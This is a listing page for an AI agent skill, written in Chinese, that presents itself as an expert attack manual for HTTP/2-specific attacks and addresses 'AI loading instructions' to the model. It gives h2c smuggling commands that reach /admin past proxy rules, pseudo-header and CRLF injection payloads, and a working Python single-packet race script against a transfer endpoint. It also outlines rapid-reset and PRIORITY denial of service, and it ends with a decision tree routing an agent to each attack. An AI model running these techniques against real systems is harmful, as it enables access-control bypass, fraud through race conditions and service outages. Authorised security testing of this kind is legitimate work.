关于 http2-specific-attacks
面向安全测试者的 HTTP/2 攻击技术指南,聚焦 HTTP/2 特有的攻击面,涵盖 h2c、伪标头、HPACK、多路复用及降级问题。
主要功能
- 01h2c 隧道与走私
- 02伪标头差异与注入
- 03HPACK 压缩攻击
- 04多路复用竞态与洪泛
- 05HTTP/2 降级注入
适用场景
- 01评估代理对 h2c 的处理
- 02测试伪标头解析差异
- 03检查 HPACK 与连接状态风险
- 04验证 HTTP/2 降级处理
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill http2-specific-attacks安装后在 Claude Code 中输入/http2-specific-attacks确认已加载。
详细介绍
技能:HTTP/2 特有攻击 — 专家攻击手册
AI 加载指令:介绍超越基础请求走私的 HTTP/2 协议层攻击技术。涵盖 h2c 走私、伪首部操纵、HPACK 攻击、单包竞态条件,以及 H2→H1 降级注入。基础模型会将 HTTP/2 走私与 HTTP/1.1 走私混为一谈——本技能专注于 H2 独有的攻击面。
0. 相关路由
- request-smuggling — CL.TE/TE.CL/TE.TE 基础知识,以及 H2.CL/H2.TE 变体
- request-smuggling/H2_SMUGGLING_VARIANTS.md — 字节级 H2.CL/H2.TE 载荷、CL.0、客户端侧反序列化
- race-condition — 单包攻击利用 H2 多路复用触发竞态条件
- web-cache-deception — 通过 H2 走私响应实施缓存投毒
1. HTTP/2 攻击面概览
| 特性 | 攻击面 |
|---|---|
| 二进制分帧 | 帧级操纵、解析器差异 |
| HPACK 压缩 | 压缩预言机(CRIME/BREACH)、表投毒 |
| 多路复用 | 单包竞态条件、RST_STREAM 洪泛 |
| 服务器推送 | 通过未经请求的推送实施缓存投毒 |
伪首部(:method/:path/:authority/:scheme) | 注入、请求拆分、路径差异 |
2. h2c(HTTP/2 明文)走私
2.1 概念
h2c 是不使用 TLS 的 HTTP/2,通过 HTTP/1.1 Upgrade 机制协商。许多反向代理会转发 Upgrade: h2c 首部,却无法理解它,从而允许攻击者绕过代理层的访问控制。
Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
│
Backend speaks H2
Proxy is blind to
the H2 conversation
2.2 攻击流程
1. Client sends HTTP/1.1 request with:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64 H2 settings>
Connection: Upgrade, HTTP2-Settings
2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules
2.3 可绕过的内容
✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
✓ Rate limiting (proxy-level rate limits bypassed)
✓ Authentication (proxy-enforced auth headers)
✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)
2.4 工具:h2csmuggler
# Install
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2
# Basic smuggle — access /admin bypassing proxy restrictions
python3 h2csmuggler.py -x https://target.com/ --test
# Smuggle specific path
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
# With custom headers
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
-H "Authorization: Bearer token123"
2.5 检测
# Check if backend supports h2c upgrade
curl -v --http1.1 https://target.com/ \
-H "Upgrade: h2c" \
-H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
-H "Connection: Upgrade, HTTP2-Settings"
# 101 Switching Protocols → h2c supported
# 200/400/other → h2c not supported or proxy blocks upgrade
3. 伪首部注入
3.1 HTTP/2 伪首部
HTTP/2 使用伪首部(以 : 为前缀)替代请求行:
| 伪首部 | HTTP/1.1 中的对应项 | 示例 |
|---|---|---|
:method | 请求方法 | GET、POST |
:path | 请求 URI | /api/users |
:authority | Host 首部 | target.com |
:scheme | 协议 | https |
3.2 代理与后端之间的路径差异
Scenario: Proxy routes based on :path, backend uses different parsing
H2 request:
:method: GET
:path: /public/../admin/users
:authority: target.com
Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content
3.3 重复伪首部注入
HTTP/2 规范禁止重复的伪首部,但不同实现的行为各异:
:method: GET
:path: /public
:path: /admin ← duplicate, forbidden by spec
:authority: target.com
Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for serving
3.4 Authority 与 Host 不一致
:authority: public.target.com ← proxy routes based on this
host: admin.internal.target.com ← backend may prefer Host header
Result: proxy routes to public vhost, backend serves admin vhost
3.5 Scheme 操纵
:scheme: https
:path: /api/internal
:authority: target.com
If backend trusts :scheme to determine if request is "internal":
:scheme: https → "external" → restricted
:scheme: http → "internal" → unrestricted access
4. HPACK 压缩攻击
4.1 HTTP/2 上的 CRIME/BREACH
Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.
Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.
4.2 首部表投毒
HPACK dynamic table stores recent headers across requests on same connection.
1. Attacker sends X-Custom: malicious-value → added to dynamic table
2. Subsequent requests may reference this entry
3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage
5. 滥用流多路复用
5.1 单包攻击(竞态条件)
HTTP/2 多路复用允许在一个 TCP 数据包中发送多个请求,从而实现真正的服务器端同时处理:
Traditional race condition: send N requests → network jitter → inconsistent timing
H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously
┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
├─ Stream 5: POST /transfer (amount=1000)
└─ Stream 7: POST /transfer (amount=1000)
All 4 requests processed at the same nanosecond window
# Using h2 library — prepare all requests, send in single write
import h2.connection, h2.config, socket, ssl
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
for i in range(20):
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
conn.send_data(sid, b'amount=1000', end_stream=True)
sock.sendall(conn.data_to_send()) # ALL frames in single TCP packet
5.2 RST_STREAM 洪泛(CVE-2023-44487“快速重置”)
Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
Server processes each open/close but client doesn't wait for responses
Amplification: minimal client resources → massive server CPU exhaustion
5.3 PRIORITY 操纵
Set exclusive=true + weight=256 on attacker's stream → starve other users' requests
6. HTTP/2 → HTTP/1.1 降级问题
6.1 通过二进制格式注入首部
H2 首部值为二进制数据——\r\n 可作为值中的有效数据。当代理降级到 H1 时,首部值中的 \r\n 会变成实际的换行符 → 首部注入。
H2: X-Custom: "value\r\nInjected: evil" → binary, valid
H1: X-Custom: value → line break
Injected: evil → new header!
6.2 Transfer-Encoding 走私
H2 规范禁止 transfer-encoding,但某些代理会在降级过程中将其传递 → 后端处理分块编码 → H2.TE 走私。参见 ../request-smuggling/H2_SMUGGLING_VARIANTS.md。
6.3 Content-Length 差异
H2 使用帧长度(无需 CL)。如果代理在降级过程中生成 CL,而攻击者也发送了 CL 首部 → 长度冲突 → 请求走私。
6.4 首部名称大小写
H2 要求首部名称使用小写。发送 Transfer-Encoding(大写)在 H2 中无效,但某些代理会将其传递 → 在后端成为有效的 H1 首部。
7. 服务器推送缓存投毒
Attack: trigger server push for /static/app.js with attacker-controlled content
→ PUSH_PROMISE frame pushes malicious response
→ browser/CDN caches poisoned content under legitimate URL
→ all subsequent loads serve attacker's content
Mitigation: most modern browsers/CDNs restrict or disable server push
8. 决策树
Target supports HTTP/2?
│
├── YES
│ ├── Does proxy support h2c upgrade?
│ │ ├── YES → h2c smuggling (Section 2)
│ │ │ └── Access restricted paths bypassing proxy rules
│ │ └── NO → Continue
│ │
│ ├── H2→H1 downgrade between proxy and backend?
│ │ ├── YES → Header injection via binary format (Section 6.1)
│ │ │ ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
│ │ │ ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
│ │ │ └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
│ │ └── NO (end-to-end H2) → Continue
│ │
│ ├── Need race condition?
│ │ ├── YES → Single-packet attack via multiplexing (Section 5.1)
│ │ │ └── Pack N requests in one TCP segment
│ │ └── NO → Continue
│ │
│ ├── Pseudo-header manipulation viable?
│ │ ├── :path discrepancy → path confusion (Section 3.2)
│ │ ├── :authority vs Host → vhost confusion (Section 3.4)
│ │ └── :scheme manipulation → access control bypass (Section 3.5)
│ │
│ ├── Server push enabled?
│ │ ├── YES → Cache poisoning via push (Section 7)
│ │ └── NO → Continue
│ │
│ └── DoS objective?
│ ├── RST_STREAM rapid reset (Section 5.2)
│ └── PRIORITY starvation (Section 5.3)
│
└── NO (HTTP/1.1 only)
└── See ../request-smuggling/SKILL.md for H1-specific techniques
9. 工具参考
| 工具 | 用途 |
|---|---|
| h2csmuggler | h2c 升级走私(github.com/BishopFox/h2csmuggler) |
| http2smugl | H2 专项反同步测试(github.com/neex/http2smugl) |
| h2 (Python) | 用于构造帧的 HTTP/2 协议库(github.com/python-hyper/h2) |
| nghttp2 | H2 客户端/服务端工具(nghttp2.org) |
| Burp HTTP Request Smuggler | 自动扫描变体 |
| curl --http2 | 快速 H2 探测(内置) |
10. 快速参考
# h2c probe
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
# H2 support check
curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"